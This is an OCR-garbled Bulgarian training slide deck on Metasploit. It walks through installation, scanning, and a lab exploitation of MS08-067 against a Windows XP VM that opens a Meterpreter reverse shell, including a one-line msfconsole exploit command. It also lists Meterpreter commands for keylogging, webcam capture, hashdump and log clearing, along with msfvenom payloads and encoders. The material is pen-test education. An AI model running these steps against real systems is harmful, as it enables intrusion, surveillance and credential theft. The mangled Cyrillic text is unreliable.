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BbBeaeHue msfconsole CKaHupaHe Meterpreter msfvenom Armitage Aux moaynu

ETanum npn xakepcKa aTaka

METASPLOIT

OnuT 3a 3ana3BaHe NMpukpneaHe
Pa3y3HaBaHe CKaHupaHe
[0CTbN Ha A4oCTbna Ha cneaute
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

3a Metasploit

* [poekTbT Metasploit e cb3aaneH oT ekcnepTta B 061acTTa
Ha KOMMNOTbPHATA U KOMYHUKaLUUOHHA curypHocTt HD
Moore npe3 2003 roanHa.

* [TbpBOHa4YanHO pa3paboTKaTa e buna 3ammncneHa u
peann3mpaHa Kato npeHocmma coptyepHa nnatdopma 3a
aHaNM3 Ha mperXKoBaTa CUTYPHOCT, HanncaHa Ha e3ukKa Perl.

* 3aNa3BaMKKM CTPYKTypaTa M NbPBOHAYANHATA aPXUTEKTYpPaA
npe3 2007 roanHa Metasploit e n3usano npeHanmcaH Ha
Ruby, a npe3 2009 roamHa komnaHuATa Rapid7 3akynyBa
npaBaTa HaA cpedarta.
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CkaHupaHe Meterpreter msfvenom Armitage Aux moaynu

BbBegeHune msfconsole

www.metasploit.com

LIVE WEBCAST & o
WED FEBRUARY 2 @ 2PM ET/11AM PT 4 00:21:17 REGISTER MOW

@ metasplort Exploits / Blog / Support / Documentation RAPID»

World's most used penetration testing software

aboration of t

W FREE METASPLOIT DOWNLOAD LEARN MORE

Get free Nexpose Vulnerability Scanner T WO B

Metasploit integrates with Nexpose to verify vulnerabilities

Metasploit Newbies Framework Users Exploit Developers

New to Metasploit? This is the place to Been using MSF for years? Check out the Want to write exploits or submit open
start. Get access to information, free tools, latest development and tap into the source code? Get access to the tools and
tutorials and more. community. docs.

« Get an intro to penetration testing » Get community support + Download source code
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BbBegeHue

msfconsole

Bepcnn Ha Metasploit

PRO

Advanced Penetration Tests &
Enterprise Security Programs

CKaHunpaHe

EXPRESS
Baseline Penetration Tests

Meterpreter

msfvenom

COMMUNITY
Free Entry-level
Edition

Armitage

Aux moaynu

FRAMEWORK
Free Open Source
Development Platform

Wizards for standard baseline
audits

Task chains for automated
custom workflows
MetaModules for discrete
tasks such as network
segmentation testing
Dynamic payloads to evade
leading anti-virus solutions
Full access to an internal
network through a
compromised machine with
VPN pivoting

Closed-loop vulnerability
validation to prioritize
remediation

Phishing awareness
management & spear
phishing

Web app testing for OWASP
Top 10 vulnerabilities
Choice of advanced
command-line (Pro Console)
and web interface
Integrations via Remote API

Smart Exploitation
Automated Credentials Brute
Forcing

Baseline Penetration Testing
Reports

Simple Web Interface
Network discovery

Import of network scan data
Basic Exploitation

De-facto standard for
penetration testing with
more than 1,200 exploits and
1.2 modules added per day
Basic command-line interface
Import of network scan data
Manual exploitation

Manual credentials brute
forcing

MN3TOYHMK Rapid7
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

TepmMmnHU

* Metasploit nan Metasploit Framework — 6e3nnatHa nnatpopma ¢ oTBOpEH
Ko UAN KOMepcunasieH NPoAYKT, N03BOIABALLA Aa CTAPTUPAME CI0XKHU
ONnTK 3a aTakn. Kbm momeHTa ce cumnTa, 4e umeHHo B Metasploit e
HaNNYHa Han-gobpaTa n3BecTHa 6a3a AaHHU C eKCNIOUTU N TOBAPU KOUTO
Ce N3N0oN3BaT OT eTUYHUTE XaKepu;

* Vulnerability — TexHonornuyeH nponyck, no3sonAsall, Ha ETUMHUTE XaKepu
[a HanpaBAT ONUT U €BEHTYA/IHO Aa NOCTUTHAT yCNewWwHO KOMMPOMETUPAHE
Ha 3alMTaTa Ha A3J€EeHa LieneBa CUCTEMA;

* Exploit (ekcnaionT) — nporpameH Kof, KOMTO NO3BO/IABA Ha JINLETO,
n3nonssawo Metasploit ga ce Bb3non3sa ot AaZieH TEXHO/IOTMYEH NPONYCK
(Vulnerability);

* Payload (toBap) — 0oTHOBO nNporpameH Ko, 3a KOMTO MOXe Aa HanpaBum
aHanorusa ¢ “shellcode”. ToBa ca mogynuTte, KONTo ce CTapTUPAT Ha
CUCTEMATA *KepPTBa, aKO AaAeH eKCNIOUT € bua U3Nb/IHEH YCNELLHO;

* Module (moayn) — nporpamHa 1 ¢yHKLUMOHANHA eAnHULA, CbBKYNHOCTTA OT
BCUYKM U3rpaxkaa cpeaarta Metasploit. To3n goKa3aH BbB BpeMeTo
MoAy/NeH Noaxoa npeaocTaBa Bb3MOXKHOCT 3a JIECHO M 6bP30 pasnpsaBaHe
Ha NaaThopmaTa, KaKTo M ONTUMU3UPAHE M NoJobpsaBaHe HAa HEMHATA

p a 6 OTa . bvarapcka acoymauma
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

ApPXUTEKTYpPaA Ha I\/Ietasp|0|t
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BbBeneHune msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux moaynu
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

Enbnmoteku

* bubnnoTeknTe ca egHa OT HaM-Ba*KHUTE YaCTU Ha
Metasploit, kKouto npepocrasaT cneundnyHn GYHKLUU Ha
moaynute, aonbvaHeHuATa (Plugins), nHcTpymeHTUTE U
MMaT OTHOLLEeHUE KbM noTpebutenckma goctovn Ao
cpeaaTa.

* Rex - Ruby Extension (Rex), B HeA e aepmnHMpaHa
$GYHKLUMOHANHOCT, CBbP3aHa C U3rParkAaHETO HA COKEeTH,
YNPaBAEHNETO HAa KOMYHUKALMOHHUTE NOTOLM,
CTapTUPAHETO Ha K/JIMEHT U CbPBBP NPOLLECH, 3anmnC B
KYPHaU, CTapTUPaAHE Ha aTaKn, KaKTo U peanLa Apyru
Ba*KHU N Ba3ncHM copTyepHU Knacose.

* MISF:Core n MSF:Base— abcTpaKTHM Kacose.
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

Ilpyrn enemeHTuU

* EHKOZlEPU — U3M0/I3BAT Ce NPU reHepPMpaHe Ha T.Hap.
“shellcode”.

* Nop — cneunanHu moaynm 3a nobasaHe Ha NOP
MHCTPYKUUKN KbMm “shellcode”,

* AUX — U3KIIOUYUTENHO Ba*KHU Mmoayainm nallm otHoweHune
KbM CKAHUPAHETO U OTKPUBAHETO Ha NOTEHLUUNA/THA

nponyckn, cbbmpaHeTo Ha MHGOPMaLMA, aTaKM Ha NAPOAU
M MHOTO ApYyrn.

* Post — BaXKHW MOZYNN, KOUTO Ce CTapTUPAT C/es yCcneLwHa
aTaka.
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

Kali Linux
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

Kali Linux n Metasploit
KALI

BY OFFENSIVE SECURITY

Metasploit e uHTEerpmupaH B Kall Linux

[NogabprKa ce PostgreSQL
loTOB 32 paboTa

HanunyeH e Armitage

‘ KALI \

VE SECURITY

Jinncea Nessus
TpAabsa aa ce MHMUManu3npa 6asata AaHHU
He ce cTtapTupat HeobxoanmuTte ycnyrm no noapasdbupaHe
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

MHCTannpaHe Ha I\/Ietasplcnt
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

MHcTannpaHe Ha Metasploit Community noa Ubuntu

alex@victim-vm:~$ sudo apt-get update
alex@victim-vm:~$ sudo apt-get upgrade

alex@victim-vm:~$ wget
http://downloads.metasploit.com/data/releases/metasploit-
latest-1linux-x64-installer.run

alex@victim-vm:~$ chmod +x metasploit-latest-1linux-x64-
installer.run

alex@victim-vm:~$ sudo./metasploit-latest-1linux-x64-
installer.run
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BbBeneHune msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux moaynu

NHcTannpaHe Ha Metasploit Community noa Ubuntu

> Setup
= Setup - X
] Mg Setup - X 1
= Setup - X
I F — — 1
> E up — Y
Pl I
ag setup - X
Ra i W Setup - X
(s
cd 59 st 'r Setup - X
A In Setup - X
("F
us . . .
Ad 1 Completing the Metasploit Setup Wizard
50
ag
ob Setup has finished installing Metasploit on your
' computer.
Dg
Ll
il m n'lE‘tES[:ﬂDlt v Access Metasploit Web UI?
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

PernctpmnpaHe Ha Metasploit Community

v metasploit

* denotes required field

Login Info

Usemname* ||

Password*

Password confirmation*

Optional Info & Settings

Full name

Email address

Organization

Time zone (GMT+02:00) Athens s

@ Create Account

© 2010-2016 Rapid7 Inc, Boston, MA

Metasploit 4.11.5 - Update 2016010401

bvarapcka acoymauma
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

PernctpmnpaHe Ha Metasploit Community

Project v Account-alex v Administration v 9 n

[ﬁ] metasploit’

Activate Your Metasploit License

1. Get Your Product Key

Choose the product that best meets your needs: Metasploit Pro or the free Metasploit Community Edition. If you already have a community, trial or full license product key, you can skip this step.

GET PRODUCT KEY

2. Enter Product Key You've Received by Email

Paste in the product key that was sent to the email address you registered with and click the ACTIVATE LICENSE button.

[ use an HTTP Proxy to reach the internet?

Offline Activation

© 2010-2016 Rapid7 Inc, Boston, MA

Metasploit 4.11.5 - Update 2016010407
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BbBegeHune msfconsole

CKaHunpaHe

Meterpreter

msfvenom Armitage Aux moaynu

Web nHtepdpenc Ha

Project v

v metasploit

Metasploit Community

Account-alex v

Administration v ? n

Home b Projects 4

o/ Activation Successful: Please restart your Metasploit instance
Project Listing

& New Project

]  NAME HOSTS SESSIONS TASKS OWNER UPDATED
O default 0 0 0 system 2 days ago
Show| 10  =|Showing 1-1of 1

DESCRIPTION

? Hide News Panel

2 & Product News

Weekly Metasploit Wrapup

Aaaaaand were back! Last week was the first weekly update of the year and it comes
with a super fun stuff. TunnelingThe latest update allows you to tunnel reverse_tcp
sessions over a compromised machine in a slightly less painful way. There is now a new
datastore option, ReverseListenerComm, which...

How to avoid common mistakes in your Metasploit Community/Pro license key
request

As a result of export restrictions placed on Metasploit Community and Pro trials, this
year we have introduced some new systems to help process license requests. We have
received a lot of questions about this, and this post will hopefully answer some of them
for you. If you haven't read the original...

bvarapcka acoymauma
." 3a pa3BuTHe Ha 3HaHUATa

'~ " 3a MHHOPMALMOHHUTE 1
2,

.',’ KOMYHUKAUUOHHUN TEXHONOTUK

AnekcaHgbp Lok www.ict-academ



BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

ObHoBABaHe Ha Metasploit

alex@victim-vm:~$ sudo msfupdate

[sudo] password for alex:

[*]

[*] Attempting to update the Metasploit Framework...
[*]

[-] ERROR: Failed to update Metasploit installation

[-] In order to update your Metasploit installation
[-] you must first register it through the UI, here
[-] https://localhost:3790

[-] (Note: Metasploit Community Edition is totally
[-] free and takes just a few seconds to register!)
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

ObHoBABaHe Ha Metasploit
root@kali-VB:~# msfupdate
.

*] Attempting to update the Metasploit Framework...

JOP

*] Checking for updates via the APT repository
*] Note: expect weekly(ish) updates using this method

*] No updates available
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

OCHOBHM KOMaHAaWM Ha msfconsole
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

[TlomepHa Tono10rnA
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BbBeseHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

[lpmepHa Tono10rms

Windows XP
192.168.1.122/24

Kali Linux (VM)
192.168.1.116/24

Bbarapcka acoumauma
33 pasBUTHE Ha 3HaHWATA
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

ETanm Ha aTaka
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BbBeaeHue

msfconsole

CkaHupaHe

Meterpreter

msfvenom

Armitage

Aux moaynu

ETanm Ha aTaka

Pa3y3HaBaHe,
CBbP3aHO CbC
CKaHUpaHe Ha
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CermeHTun nnu
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CKaHupaHe 33
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CrapTupaHe
Ha eKcn/jionTa
N aKO TOBapa
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KbM LieseBaTa

cuctema
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

CKaHMpPaHe Ha MpeXKaTa

bvarapcka acoymauma
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

KomaHaa db nmap

msf > db_nmap -T4 -A -v 192.168.1.203
[*] Nmap: Starting Nmap 7.00 ( https://nmap.org ) at 2016-01-14 19:22 EET
[*] Nmap: NSE: Loaded 132 scripts for scanning.
. TEKCTbT € YMUUJIEHO MPONyCHAT ..
[*] Nmap: PORT STATE SERVICE VERSION
[*] Nmap: 135/tcp open msrpc Microsoft Windows RPC
[*] Nmap: 139/tcp open netbios-ssn Microsoft Windows 98 netbios-ssn
[*] Nmap: 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
[*] Nmap: 2869/tcp open http Microsoft HTTPAPI httpd 1.0 (SSDP/UPnP)
[*] Nmap: | http-server-header: Microsoft-HTTPAPI/1.0
[*] Nmap: | http-title: Site doesn't have a title (text/html).
[*] Nmap: MAC Address: 08:00:27:40:90:FA (Oracle VirtualBox virtual NIC)
. TEKCTbT € YMUWWIEHO MPOMNYyCHAT ..
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 10.63 seconds
[*] Nmap: Raw packets sent: 1066 (47.602KB) | Rcvd: 1017 (41.238KB)
mst >
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

JleMoHcTpauma 2
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

[lpoBepKa 33 TEXHONOTUYHNA
NPOMNYCKN
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BbBeaeHue msfconsole CKaHupaHe Meterpreter msfvenom Armitage Aux moaynu

Nessus

Partners Careers Language Login Q

tenable Products Try Buy Support& Services Company

L 7 network security

Security in the cloud

Nessus

cloud

Overview What's New Features Cloud Manager Professional Download

R

Nessus Nessus Nessus

cloud manager professional
Combine comprehensive Run comprehensive Run vulnerability assessments
vulnerability management with vulnerability management for your organization or as part
the ease of the cloud across your organization of a consulting practice
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

JleMoHCTpauma 3
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

MHTerpmpaHe Ha Nessus B Metasploit

* U3Terna ce deb ¢pann ot www.tenable.com, Kato 3a 64 6UTOBa apPXUTEKTYPA KbM
MOMEHTA aKTyasiHaTa Bepcusa e Nessus-6.5.4-debian6_amd64.deb;

e CrapTupaHeTo Ha UHcTanaumATa Ha Nessus B KoH301a Ha Kali Linux e upes
NHCTpyMeHTa dpkg:

sudo dpkg -i Nessus-6.5.4-debian6_amd64.deb

* NHcTanauuaATa e 6bp3a U cnep KaTto NpUKItoUun Tpabsa Aa akTMBMpaTe nessusd
NeMOHa:

sudo service nessusd start

* 3a pa pernctpupate Nessus e HeobxoaMmo Aa oTBopUTE B bpay3bp aapec
https://127.0.0.1:8834;

* CnepaBante NOMOLLHWKA, Cb34aNTe CU aKayHT M peructpmpamnte Nessus.

bvarapcka acoymauma
" 5 3a pa3suTHe Ha 3HAHUATA
"~ 'Ja MHbOPMaLMOHHUTE U
L2

KOMYHUKAUUOHHUN TEXHONOTUK
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

llemoHcTpauma 4

bvarapcka acoymauma
." ¥ 3a pa3BuUTUE Ha 3HaHUATa

'~ " 33 UHGOPMaLMOHHUTE 1
S 24

KOMYHUKAUUOHHUN TEXHONOTUK
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

ATaKa Ha 6a3a Ha TexXHONOorMYyeH
MPONYCK

bvarapcka acoymauma
."" 3a pa3BuUTUE Ha 3HaHUATa

'~ " 3a MHHOPMALMOHHUTE 1

NOBF  KOMYHUKALMOHHMN TEXHONOTUM

AneKkcaHgbp LlokeB  www.ict-academy.bg



BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

TbpceHe Ha noaxoAALL MOAY

« msf > search netapi

Matching Modules

. Name Disclosure Date Rank
Description

« exploit/windows/smb/ms03 049 netapi 2003-11-11 good MS03-049
Microsoft Workstation Service NetAddAlternateComputerName Overflow

«  exploitt/windows/smb/ms@6 040 netapi ,2006-08-08 good MS06-040
Microsoft Server Service NetpwPathCanonicalize Overflow

«  exploitt/windows/smb/ms06 070 wkssvc 2006-11-14 manual MS06-070
Microsoft Workstation Service NetpManageIPCConnect Overflow

| . exploit/windows/smb/ms@8_067 netapi 2008-10-28 great MS08-067
Microsoft Server Service Relative Path Stack Corruption
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

AKTUBUPAHE Ha MOy N3
msf > use exploit/windows/smb/ms08 067 netapti
mstf exploit(ms08 067 netapi) >
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

Heobxoanmm napameTpu

msf exploit(ms@8 067 netapi) > show options

Module options (exploit/windows/smb/ms08 067 netapti):

Name Current Setting Required Description

RHOST yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSV(C)

Exploit target:

Id Name

® Automatic Targeting

bvarapcka acoymauma

4 33 pa3BuUTME HA 3HaHUATA
'. "m MHPOPMALMOHHUTE U

NOBF  KOMYHUKALMOHHMN TEXHONOTUM

2/28/2016 AneKkcaHgbp LlokeB  www.ict-academy.bg



BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

KoHOUryprpaHe Ha moayna

msf exploit(ms08 067 netapi) > set RHOST 192.168.1.203
RHOST => 192.168.1.203
msf exploit(ms@8 067 netapi) > show options

Module options (exploit/windows/smb/ms08 067 netapi):

Name Current Setting Required Description

RHOST 192.168.1.203 yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Exploit target:

Id Name

® Automatic Targeting q‘b;%ﬁﬁﬁ?ﬁﬁm
7 IH‘&WCV-\
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

AKTUBUPAHE Ha MOy N3
mst exploit(ms08 067 netapi) > exploit

5 Started reverse TCP handler on
02.168.1.214:4444

[*] Automatically detecting the target..

{*] Flngerprlnt Windows XP - Service Pack 3 -
ang:Engltish

[ { Selected Target: Windows XP SP3 English
AlwaysOn NX)

' *] Attempting to trigger the vulnerability...
' *] Sending stage (957487 bytes) to 192.168.1.203

*] Meterpreter session 1 opened (192.168.1.214:4444
-> 192.1638.1.203:1036) at 2016-01-18 13:57:46 +0200

meterpreter >
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BbBeaeHue msfconsole CKaHupaHe Meterpreter msfvenom Armitage Aux moaynu

Meterpreter

EKCNAOMT 1 NbpBM eTan Ha NpeHacAHe Ha TOBap

ToBapbT akTMBUpPA 0OpaTHa Bpb3Ka Kbm MSF

BTopu eTan Ha NnpeHacAHe Ha ToBap
(DLL Injection Payload)

N3npawaHe Ha MSF Meterpreter DLL

bbarapcka acouunauma

{' 3a pa3BUTME Ha 3HaHMATa
.. "3a MHGOPMaLMOHHUTE U
¥ KOMYHUKALMOHHM TEXHONOMMI
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

JleMoHCTpauma 5

bvarapcka acoymauma
." ¥ 3a pa3BuUTUE Ha 3HaHUATa

'~ " 33 UHGOPMaLMOHHUTE 1
S 24

KOMYHUKAUUOHHUN TEXHONOTUK
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

Meterpreter

bvarapcka acoymauma
"' 3a pa3BuUTUE Ha 3HaHUATa

'~ " 3a MHHOPMALMOHHUTE 1

W KOMYHUKALMOHHW TEXHONOMMU
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

Meterpreter

Meterpreter e eaMH OT HAN-MOLLHUTE NHCTPYMEHTMH,
BK/ItoueHn B Metasploit n cam no cebe cn npenocrtaBs HOBa
cpena 3a paboTta, 6a3npaHa Ha KOH301E€H NPUHLUMI.

meterpreter > help

Core Commands

Command Description

? Help menu

background Backgrounds the current session
bgkill Kills a background meterpreter script
bglist Lists running background scripts
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BbBeaeHue msfconsole msfvenom

CKaHunpaHe

Meterpreter Armitage Aux moaynm

Core Commands

Core Commands

background
bgktill
bglist
b%run
channel

close _ _
disable unicode encoding
enable unicode encoding
exitt

%et_tlmeouts

nelp

info

irb

load .

machine 1id

migrate

quit

read

resource

run

set timeouts

sleep

transport

use

uutid

write

2/28/2016

Description

HelE menu .

Backgrounds the current session .

Kills a background meterpreter script

Lists running background scripts

Executes a meterpreter script as a background_thread
Displays information or control active channels
Closes a channel _ _

Disables encoding of unicode strings

Enables encoding of unicode strings

Terminate the meterpreter session

Get the current session timeout values

Help_ menu _

Displays information about a Post module

Drop into irb scripting mode _

Load one or more meterpreter extensions .
Get the MSF ID of the machine attached to the session
Migrate the server to another process

Terminate the meterpreter session

Reads data from a channel .

Run the commands stored in a file

Executes a meterpreter script or Post module

Set the current session timeout values _ _
Force Meterpreter to go quiet, then re-establish sesstion.
Change the current transport mechanism

Deprecated alias for 'load’ _

Get the UUID for the current session

Writes data to a channel

bvarapcka acoymauma
"‘" 3a pa3suTHe Ha 3HAHUATA

'. 3a MHHOPMALMOHHUTE 1
NOBF  KOMYHUKALMOHHMN TEXHONOTUM
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

File System Commands

Stdapi: File system Commands

Command Description
cat Read the contents of a file to the screen
cd Change directory _
download Download a file or directory
edit Edit a_file . _
getlwd Print local working directory
etwd Print working directory
cd Chan%e local working directory
Lpwd Print local working directory
ls List files
mkdir Make directory . _
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search_ for files _ _
show mount List all mount points/logical drives
upload Upload a file or directory
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

Networking Commands

Stdapi: Networking Commands

Command Description

arp Display the host ARP cache

getproxy Display the current proxy configuration
1fconfig Display interfaces

ipconfig Display interfaces

netstat Display the network connections

portfwd Forward a local port to a remote service
route View and modify the routing table

bvarapcka acoymauma

N/ 33 pa3BuUTME HA 3HaHUATA
'. "Ja MHPOPMALMOHHUTE U

NOBF  KOMYHUKALMOHHMN TEXHONOTUM
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BbBegeHue

msfconsole

msfvenom

CKaHunpaHe

Meterpreter Armitage Aux moaynm

System Commands

Stdapi: System Commands

Command
clearev
drop token
execute
getenv
getpid
getprivs
getsid
getuid
kill

ps
reboot
reg
rev2self
shell
shutdown

steal token

suspend
sysinfo

Description

Clear the event log
Relinquishes any active impersonation token.

Execute a command

Get one or more environment variable values

Get the current process identifier

Attempt to enable all privileges available to the current process
Get the SID of the user that the server is running as

Get the user that the server is running as
Terminate a process

List running processes

Reboots the remote computer

Modify and interact with the remote registry
Calls RevertToSelf() on the remote machine
Drop into a system command shell

Shuts down the remote computer

Attempts to steal an impersonation token from the target process
Suspends or resumes a list of processes
Gets information about the remote system, such as 0S
bvarapcka acoymauma
"‘ 5 3a pa3suTHe Ha 3HAHUATA

popmaumoHHuTE N
'~ " 3a UH
S 24

- KOMYHUKAUUOHHUN TEXHONOTUK

2/28/2016

www.ict-academy.bg

AnekcaHabp Llokes



BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

User Interface Commands

Stdapi: User interface Commands

enumdesktops List all accessible desktops and window stations

getdesktop Get the current meterpreter desktop

idletime Returns the number of seconds the remote user has been idle
keyscan dump  Dump the keystroke buffer

keyscan start Start capturing keystrokes

keyscan stop  Stop capturing keystrokes

screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components

bvarapcka acoymauma
"‘ 5 3a pa3suTHe Ha 3HAHUATA

'. J) 33 vHpopmaLMoHHNTE U
NOBF  KOMYHUKALMOHHMN TEXHONOTUM
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

Webcam Commands

Stdapi: Webcam Commands

Command Description

record mic Record audio from the default microphone for X seconds
webcam chat Start a video chat

webcam list List webcams

webcam snap Take a snapshot from the specified webcam

webcam stream Play a video stream from the specified webcam

bvarapcka acoymauma
"‘ 3a pa3suTHe Ha 3HAHUATA

popmaumoHHuTE N
'~ " 3a UH
L7

-,’ KOMYHUKAUUOHHUN TEXHONOTUK
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

Elevate Commands

getsystem Attempt to elevate your privilege to that of local system.

bvarapcka acoymauma
"‘ ' 3a pa3suTHe Ha 3HAHUATA

'. J) 33 vHpopmaLMoHHNTE U
NOBF  KOMYHUKALMOHHMN TEXHONOTUM
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

Password Database Commands

Priv: Password database Commands

hashdump Dumps the contents of the SAM database

bvarapcka acoymauma
"‘ ' 3a pa3suTHe Ha 3HAHUATA

'. J) 33 vHpopmaLMoHHNTE U
NOBF  KOMYHUKALMOHHMN TEXHONOTUM
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

Timestomp Commands

Priv: Timestomp Commands

timestomp Manipulate file MACE attributes

bvarapcka acoymauma
"‘ 3a pa3suTHe Ha 3HAHUATA

popmaumoHHuTE N
'~ " 3a UH
S 24
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

JleMOHCTpauUma 6

bvarapcka acoymauma
." ¥ 3a pa3BuUTUE Ha 3HaHUATa

'~ " 33 UHGOPMaLMOHHUTE 1
S 24
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

ABTOMATU3MPAHE

bvarapcka acoymauma
"' 3a pa3BuUTUE Ha 3HaHUATa

'~ " 3a MHHOPMALMOHHUTE 1

W KOMYHUKALMOHHW TEXHONOMMU
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msfvenom Armitage Aux moaynu

BbBeaeHune msfconsole CKaHunpaHe Meterpreter

msfconsole -x

msfconsole —x “use
exploit/windows/smb/ms08 067 netapi; set

RHOST 192.168.1.203; set PAYLOAD
windows/meterpreter/reverse tcp; set
LHOST 192.168.1.214; run”

AneKkcaHgbp LlokeB  www.ict-academy.bg
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

msfvenom

bvarapcka acoymauma
"' 3a pa3BuUTUE Ha 3HaHUATa

'~ " 3a MHHOPMALMOHHUTE 1
{2

o < KOMYHUKAUUOHHUN TEXHONOTUK
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

msfvenom

* Owe eaHa OT YHUKANHUTE Bb3MOXKHOCTU Ha Metasploit e
Bb3MOXHOCTTA 3a reHepupaHe Ha “shellcode”, 3a kKonTto
MOXeM 2 KOHPUrypmpame peamua napameTpun, CBbpP3aHu
C NpoL.eca Ha HEroBoTO Cb3aBaHe.

* B no-ctapute Bepcnn Ha MSF ca HannYHM ABa
nHctpymeHTta — msfpayload n msfencode, kouto ce
M3N0A3BaT NOC/e[0BaTeNHO.

 KbM MOMeHTa Te3un aBe Nporpamm ca n3uano 3aMeHeHn oT
msfvenom, KaTo NO-TO3M HAa4YMH Ce NOY4YaBa
VHUPULUMPAHE HA UHCTPYMEHTUTE, MO-/ieCcHa paboTta u He
Ha NOC/IeAHO MACTO NO-BMCOKA NPOM3BOAUTENHOCT Ha
aNropuTMUTE.
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

msfvenom

root@kali-VB:~# msfvenom -h

Error: MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.

Usage: /usr/bin/msfvenom [options] <var=val>

Options:
-p, --payload <pay load> Payload to use. Specify a '-' or stdin to use
custom payloads
--payload-options List the payload's standard options
-1, --1list [typel List a module type. Options are: payloads,
encoders, nops, all
-n, --nopsled <length> Prepend a nopsled of [length] size on to the
pay load
-f, --format <format> OQutput format (use --help-formats for a list)
--help-formats List available formats
-e, --encoder <encoder> The encoder to use
-a, --arch <arch> The architecture to use
--platform <platform> The platform of the payload
--help-platforms List available platforms

bvarapcka acoymauma

" 33 pa3BuUTME HA 3HaHUATA
> "Ja MHPOPMALMOHHUTE U
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BbBeneHue msfconsole CkaHupaHe Meterpreter msfvenom Armitage Aux mogynu

ToBapwu

root@kali-VB:~# msfvenom -1 payloads

Framework Payloads (437 total)

Name Description

aix/ppc/shell bind tcp Listen for a connection and spawn a command shell

aix/ppc/shell find port Spawn a shell on an established connection

aix/ppc/shell interact Simply execve /bin/sh (for inetd programs)

windows/x64/shell reverse tcp Connect back to attacker and spawn a command shell
(Windows x64)

windows/x64/vncinject/bind_ ipv6 tcp Inject a VNC D1l via a reflective loader (Windows

x64) (staged). Listen for an IPv6 connection
(Windows x64)

windows/x64/vncinject/bind ipv6 tcp uuid Inject a VNC DLl via a reflective loader (Windows
x64) (staged). Listen for an IPv6 connection with
UUID Support (Windows x64)\

bvarapcka acoymauma
"‘ 3a pa3suTHe Ha 3HAHUATA

popmaumoHHuTE N
'~ " 3a UH
S 24
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BbBeaeHue msfconsole Meterpreter msfvenom

CKaHunpaHe

Armitage Aux moaynm

EHKOOEpU
root@kali-VB:~# msfvenom -1 encoders

Framework Encoders

Name

cmd/echo
cmd/generic_sh
cmd/ifs

cmd/perl
cmd/powershell base64
cmd/printf php mq

x86/context stat
x86/context time
x86/countdown
x86/fnstenv_mov
x86/jmp call additive
x86/nonalpha
x86/nonupper

